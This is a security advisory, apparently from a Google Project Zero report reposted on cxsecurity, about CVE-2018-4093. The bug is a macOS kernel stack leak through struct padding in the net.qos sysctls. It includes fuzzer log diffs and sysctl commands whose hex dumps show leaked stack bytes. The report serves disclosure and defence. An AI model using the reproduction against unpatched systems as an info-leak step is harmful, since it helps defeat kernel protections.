MacOS sysctl_default_netsvctype_to_dscp_map / sysctl_dscp_to_wifi_ac_map Stack Leak

2018.01.29
Credit: jannh
Risk: Medium
Local: Yes
Remote: No
CWE: N/A

MacOS sysctl_default_netsvctype_to_dscp_map and sysctl_dscp_to_wifi_ac_map stack leak through struct padding CVE-2018-4093 The sysctls net.qos.default_netsvctype_to_dscp_map and net.qos.dscp_to_wifi_ac_map, implemented in sysctl_default_netsvctype_to_dscp_map() and sysctl_dscp_to_wifi_ac_map(), write arrays of elements of type `struct netsvctype_dscp_map` from the stack to userspace. This struct type contains padding bytes: /* * Network Service Type to DiffServ Code Point mapping */ struct netsvctype_dscp_map { int netsvctype; u_int8_t dscp; /* 6 bits diffserv code point */ /* 3 bytes padding */ }; This issue was discovered using an AFL-based fuzzer, loosely based on TriforceAFL. These are the debug log diffs with different stack poison values (0xcc and 0xdd): #### TESTCASE 'id:012874,src:012831,op:arith16,pos:30,val:be:+34,+cov' [...] loaded 68 bytes fuzzdata [...] syscall(rax=0x600020000ca, args=[0x3, 0x3, 0x3, 0xea800f00000069, 0x10003, 0x0]); rsp=0x7ffee8bc9da8 USER READ: addr 0x3, size 8, value 0x0000007200000004 USER READ: addr 0xb, size 1, value 0x65 USER READ: addr 0xc, size 1, value 0x00 USER READ: addr 0xd, size 1, value 0x00 USER READ: addr 0xe, size 1, value 0x00 -USER WRITE: addr 0x3, size 8, value 0xcccccc0000000000 -USER WRITE: addr 0xb, size 8, value 0xcccccc0a00000001 -USER WRITE: addr 0x13, size 8, value 0xcccccc1800000002 -USER WRITE: addr 0x1b, size 8, value 0xcccccc2200000003 -USER WRITE: addr 0x23, size 8, value 0xcccccc2e00000004 -USER WRITE: addr 0x2b, size 8, value 0xcccccc2000000005 -USER WRITE: addr 0x33, size 8, value 0xcccccc1a00000006 -USER WRITE: addr 0x3b, size 8, value 0xcccccc1000000007 -USER WRITE: addr 0x43, size 8, value 0xcccccc1200000008 +USER WRITE: addr 0x3, size 8, value 0xdddddd0000000000 +USER WRITE: addr 0xb, size 8, value 0xdddddd0a00000001 +USER WRITE: addr 0x13, size 8, value 0xdddddd1800000002 +USER WRITE: addr 0x1b, size 8, value 0xdddddd2200000003 +USER WRITE: addr 0x23, size 8, value 0xdddddd2e00000004 +USER WRITE: addr 0x2b, size 8, value 0xdddddd2000000005 +USER WRITE: addr 0x33, size 8, value 0xdddddd1a00000006 +USER WRITE: addr 0x3b, size 8, value 0xdddddd1000000007 +USER WRITE: addr 0x43, size 8, value 0xdddddd1200000008 sysret OUT OF FUZZER INPUT DATA - REWINDING REWIND STATS: 1/sec REWIND! (trigger_exception=0x10006; cycles=550) #### TESTCASE 'id:012903,src:012873,op:arith16,pos:30,val:be:+34,+cov' loaded 68 bytes fuzzdata [...] syscall(rax=0x600020000ca, args=[0x3, 0x3, 0x3, 0xea800f00000069, 0x10003, 0x0]); rsp=0x7ffee8bc9da8 USER READ: addr 0x3, size 8, value 0x0000007200000004 USER READ: addr 0xb, size 1, value 0x66 USER READ: addr 0xc, size 1, value 0x00 USER READ: addr 0xd, size 1, value 0x00 USER READ: addr 0xe, size 1, value 0x00 timeout bump -USER WRITE: addr 0x3, size 8, value 0xcccccc0000000000 -USER WRITE: addr 0xb, size 8, value 0xcccccc0100000000 -USER WRITE: addr 0x13, size 8, value 0xcccccc0200000000 -USER WRITE: addr 0x1b, size 8, value 0xcccccc0300000000 -USER WRITE: addr 0x23, size 8, value 0xcccccc0400000000 -USER WRITE: addr 0x2b, size 8, value 0xcccccc0500000000 -USER WRITE: addr 0x33, size 8, value 0xcccccc0600000000 -USER WRITE: addr 0x3b, size 8, value 0xcccccc0700000000 -USER WRITE: addr 0x43, size 8, value 0xcccccc08000000c8 -USER WRITE: addr 0x4b, size 8, value 0xcccccc09000000c8 -USER WRITE: addr 0x53, size 8, value 0xcccccc0a000000c8 -USER WRITE: addr 0x5b, size 8, value 0xcccccc0b000000c8 -USER WRITE: addr 0x63, size 8, value 0xcccccc0c000000c8 -USER WRITE: addr 0x6b, size 8, value 0xcccccc0d000000c8 -USER WRITE: addr 0x73, size 8, value 0xcccccc0e000000c8 -USER WRITE: addr 0x7b, size 8, value 0xcccccc0f000000c8 -USER WRITE: addr 0x83, size 8, value 0xcccccc10000000c8 -USER WRITE: addr 0x8b, size 8, value 0xcccccc11000000c8 -USER WRITE: addr 0x93, size 8, value 0xcccccc12000000c8 -USER WRITE: addr 0x9b, size 8, value 0xcccccc13000000c8 -USER WRITE: addr 0xa3, size 8, value 0xcccccc14000000c8 -USER WRITE: addr 0xab, size 8, value 0xcccccc15000000c8 -USER WRITE: addr 0xb3, size 8, value 0xcccccc16000000c8 -USER WRITE: addr 0xbb, size 8, value 0xcccccc17000000c8 -USER WRITE: addr 0xc3, size 8, value 0xcccccc1800000000 -USER WRITE: addr 0xcb, size 8, value 0xcccccc1900000000 -USER WRITE: addr 0xd3, size 8, value 0xcccccc1a00000000 -USER WRITE: addr 0xdb, size 8, value 0xcccccc1b00000000 -USER WRITE: addr 0xe3, size 8, value 0xcccccc1c00000000 -USER WRITE: addr 0xeb, size 8, value 0xcccccc1d00000000 -USER WRITE: addr 0xf3, size 8, value 0xcccccc1e00000000 -USER WRITE: addr 0xfb, size 8, value 0xcccccc1f00000000 -USER WRITE: addr 0x103, size 8, value 0xcccccc20000002bc -USER WRITE: addr 0x10b, size 8, value 0xcccccc21000002bc -USER WRITE: addr 0x113, size 8, value 0xcccccc22000002bc -USER WRITE: addr 0x11b, size 8, value 0xcccccc23000002bc -USER WRITE: addr 0x123, size 8, value 0xcccccc24000002bc -USER WRITE: addr 0x12b, size 8, value 0xcccccc25000002bc -USER WRITE: addr 0x133, size 8, value 0xcccccc26000002bc -USER WRITE: addr 0x13b, size 8, value 0xcccccc27000002bc -USER WRITE: addr 0x143, size 8, value 0xcccccc28000002bc -USER WRITE: addr 0x14b, size 8, value 0xcccccc29000002bc -USER WRITE: addr 0x153, size 8, value 0xcccccc2a000002bc -USER WRITE: addr 0x15b, size 8, value 0xcccccc2b000002bc -USER WRITE: addr 0x163, size 8, value 0xcccccc2c000002bc -USER WRITE: addr 0x16b, size 8, value 0xcccccc2d000002bc -USER WRITE: addr 0x173, size 8, value 0xcccccc2e000002bc -USER WRITE: addr 0x17b, size 8, value 0xcccccc2f000002bc -USER WRITE: addr 0x183, size 8, value 0xcccccc3000000320 -USER WRITE: addr 0x18b, size 8, value 0xcccccc3100000320 -USER WRITE: addr 0x193, size 8, value 0xcccccc3200000320 -USER WRITE: addr 0x19b, size 8, value 0xcccccc3300000320 -USER WRITE: addr 0x1a3, size 8, value 0xcccccc3400000320 -USER WRITE: addr 0x1ab, size 8, value 0xcccccc3500000320 -USER WRITE: addr 0x1b3, size 8, value 0xcccccc3600000320 -USER WRITE: addr 0x1bb, size 8, value 0xcccccc3700000320 -USER WRITE: addr 0x1c3, size 8, value 0xcccccc3800000320 -USER WRITE: addr 0x1cb, size 8, value 0xcccccc3900000320 -USER WRITE: addr 0x1d3, size 8, value 0xcccccc3a00000320 -USER WRITE: addr 0x1db, size 8, value 0xcccccc3b00000320 -USER WRITE: addr 0x1e3, size 8, value 0xcccccc3c00000320 -USER WRITE: addr 0x1eb, size 8, value 0xcccccc3d00000320 -USER WRITE: addr 0x1f3, size 8, value 0xcccccc3e00000320 -USER WRITE: addr 0x1fb, size 8, value 0xcccccc3f00000320 +USER WRITE: addr 0x3, size 8, value 0xdddddd0000000000 +USER WRITE: addr 0xb, size 8, value 0xdddddd0100000000 +USER WRITE: addr 0x13, size 8, value 0xdddddd0200000000 +USER WRITE: addr 0x1b, size 8, value 0xdddddd0300000000 +USER WRITE: addr 0x23, size 8, value 0xdddddd0400000000 +USER WRITE: addr 0x2b, size 8, value 0xdddddd0500000000 +USER WRITE: addr 0x33, size 8, value 0xdddddd0600000000 +USER WRITE: addr 0x3b, size 8, value 0xdddddd0700000000 +USER WRITE: addr 0x43, size 8, value 0xdddddd08000000c8 +USER WRITE: addr 0x4b, size 8, value 0xdddddd09000000c8 +USER WRITE: addr 0x53, size 8, value 0xdddddd0a000000c8 +USER WRITE: addr 0x5b, size 8, value 0xdddddd0b000000c8 +USER WRITE: addr 0x63, size 8, value 0xdddddd0c000000c8 +USER WRITE: addr 0x6b, size 8, value 0xdddddd0d000000c8 +USER WRITE: addr 0x73, size 8, value 0xdddddd0e000000c8 +USER WRITE: addr 0x7b, size 8, value 0xdddddd0f000000c8 +USER WRITE: addr 0x83, size 8, value 0xdddddd10000000c8 +USER WRITE: addr 0x8b, size 8, value 0xdddddd11000000c8 +USER WRITE: addr 0x93, size 8, value 0xdddddd12000000c8 +USER WRITE: addr 0x9b, size 8, value 0xdddddd13000000c8 +USER WRITE: addr 0xa3, size 8, value 0xdddddd14000000c8 +USER WRITE: addr 0xab, size 8, value 0xdddddd15000000c8 +USER WRITE: addr 0xb3, size 8, value 0xdddddd16000000c8 +USER WRITE: addr 0xbb, size 8, value 0xdddddd17000000c8 +USER WRITE: addr 0xc3, size 8, value 0xdddddd1800000000 +USER WRITE: addr 0xcb, size 8, value 0xdddddd1900000000 +USER WRITE: addr 0xd3, size 8, value 0xdddddd1a00000000 +USER WRITE: addr 0xdb, size 8, value 0xdddddd1b00000000 +USER WRITE: addr 0xe3, size 8, value 0xdddddd1c00000000 +USER WRITE: addr 0xeb, size 8, value 0xdddddd1d00000000 +USER WRITE: addr 0xf3, size 8, value 0xdddddd1e00000000 +USER WRITE: addr 0xfb, size 8, value 0xdddddd1f00000000 +USER WRITE: addr 0x103, size 8, value 0xdddddd20000002bc +USER WRITE: addr 0x10b, size 8, value 0xdddddd21000002bc +USER WRITE: addr 0x113, size 8, value 0xdddddd22000002bc +USER WRITE: addr 0x11b, size 8, value 0xdddddd23000002bc +USER WRITE: addr 0x123, size 8, value 0xdddddd24000002bc +USER WRITE: addr 0x12b, size 8, value 0xdddddd25000002bc +USER WRITE: addr 0x133, size 8, value 0xdddddd26000002bc +USER WRITE: addr 0x13b, size 8, value 0xdddddd27000002bc +USER WRITE: addr 0x143, size 8, value 0xdddddd28000002bc +USER WRITE: addr 0x14b, size 8, value 0xdddddd29000002bc +USER WRITE: addr 0x153, size 8, value 0xdddddd2a000002bc +USER WRITE: addr 0x15b, size 8, value 0xdddddd2b000002bc +USER WRITE: addr 0x163, size 8, value 0xdddddd2c000002bc +USER WRITE: addr 0x16b, size 8, value 0xdddddd2d000002bc +USER WRITE: addr 0x173, size 8, value 0xdddddd2e000002bc +USER WRITE: addr 0x17b, size 8, value 0xdddddd2f000002bc +USER WRITE: addr 0x183, size 8, value 0xdddddd3000000320 +USER WRITE: addr 0x18b, size 8, value 0xdddddd3100000320 +USER WRITE: addr 0x193, size 8, value 0xdddddd3200000320 +USER WRITE: addr 0x19b, size 8, value 0xdddddd3300000320 +USER WRITE: addr 0x1a3, size 8, value 0xdddddd3400000320 +USER WRITE: addr 0x1ab, size 8, value 0xdddddd3500000320 +USER WRITE: addr 0x1b3, size 8, value 0xdddddd3600000320 +USER WRITE: addr 0x1bb, size 8, value 0xdddddd3700000320 +USER WRITE: addr 0x1c3, size 8, value 0xdddddd3800000320 +USER WRITE: addr 0x1cb, size 8, value 0xdddddd3900000320 +USER WRITE: addr 0x1d3, size 8, value 0xdddddd3a00000320 +USER WRITE: addr 0x1db, size 8, value 0xdddddd3b00000320 +USER WRITE: addr 0x1e3, size 8, value 0xdddddd3c00000320 +USER WRITE: addr 0x1eb, size 8, value 0xdddddd3d00000320 +USER WRITE: addr 0x1f3, size 8, value 0xdddddd3e00000320 +USER WRITE: addr 0x1fb, size 8, value 0xdddddd3f00000320 sysret OUT OF FUZZER INPUT DATA - REWINDING REWIND! (trigger_exception=0x10006; cycles=32) Verified on a Macmini7,1 running macOS 10.13 (17A405), Darwin 17.0.0: $ sysctl -x net.qos.default_netsvctype_to_dscp_map net.qos.default_netsvctype_to_dscp_map: Format:S Length:72 Dump:0x0000000000000000010000000a00000002000000187f00000300000022ffffff040000002e0000000500000020ffffff060000001affffff07000000100000000800000012000000 $ sysctl -x net.qos.dscp_to_wifi_ac_map net.qos.dscp_to_wifi_ac_map: Format:S Length:512 Dump:0x0000000000ffffff0000000001000000000000000200000000000000030000000000000004000000000000000500000000000000060000000000000007000000c800000008000000c800000009000000c80000000a000000c80000000b000000c80000000c000000c80000000d000000c80000000e000000c80000000f000000c800000010000000c800000011ffffffc800000012000000c800000013000000c800000014000000c800000015000000c800000016000000c80000001700000000000000180000000000000019000000000000001a000000000000001b000000000000001c000000000000001d000000000000001e000000000000001f000000bc02000020000000bc02000021000000bc02000022000000bc02000023000000bc02000024000000bc02000025000000bc02000026ffffffbc02000027ffffffbc02000028ffffffbc02000029ffffffbc0200002affffffbc0200002bffffffbc0200002cffffffbc0200002dffffffbc0200002e000000bc0200002fffffff20030000300000002003000031ffffff2003000032ffffff2003000033000000200300003400000020030000350000002003000036ffffff2003000037ffffff20030000380000002003000039000000200300003a7f0000200300003bffffff200300003c000000200300003dffffff200300003effffff200300003f000000 This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: jannh


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top